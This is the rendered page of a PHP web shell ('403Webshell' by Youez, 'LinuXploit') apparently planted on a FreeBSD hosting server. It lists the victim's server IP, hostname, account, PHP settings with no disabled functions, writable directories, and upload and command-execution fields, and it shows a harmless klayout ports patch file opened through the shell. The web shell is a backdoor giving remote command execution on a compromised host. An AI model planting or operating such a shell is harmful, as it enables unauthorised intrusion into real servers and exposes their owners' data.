403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/cad/klayout/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/cad/klayout/files/patch-src-plugins-db_plugin.pri
--- src/plugins/db_plugin.pri.orig	2021-07-23 08:00:26 UTC
+++ src/plugins/db_plugin.pri
@@ -5,7 +5,7 @@ TEMPLATE = lib
 
 INCLUDEPATH += $$DB_INC $$TL_INC $$GSI_INC $$PWD/common
 DEPENDPATH += $$DB_INC $$TL_INC $$GSI_INC $$PWD/common
-LIBS += -L$$DESTDIR/.. -lklayout_db -lklayout_tl -lklayout_gsi
+LIBS += $$DESTDIR/../libklayout_db.so $$DESTDIR/../libklayout_tl.so $$DESTDIR/../libklayout_gsi.so
 
 DEFINES += MAKE_DB_PLUGIN_LIBRARY
 
@@ -14,13 +14,13 @@ win32 {
   dlltarget.path = $$PREFIX/db_plugins
   INSTALLS += dlltarget
 
-  # to avoid the major version being appended to the dll name - in this case -lxyz won't link it again
+  # to avoid the major version being appended to the dll name - in this case $$DESTDIR/../libxyz won't link it again
   # because the library is called xyx0.dll.
   CONFIG += skip_target_version_ext
 
 } else {
 
-  target.path = $$PREFIX/db_plugins
+  target.path = $$shell_path($(INSTALLROOT)$$PREFIX/lib/klayout/db_plugins)
   INSTALLS += target
 
 }

Youez - 2016 - github.com/yon3zu
LinuXploit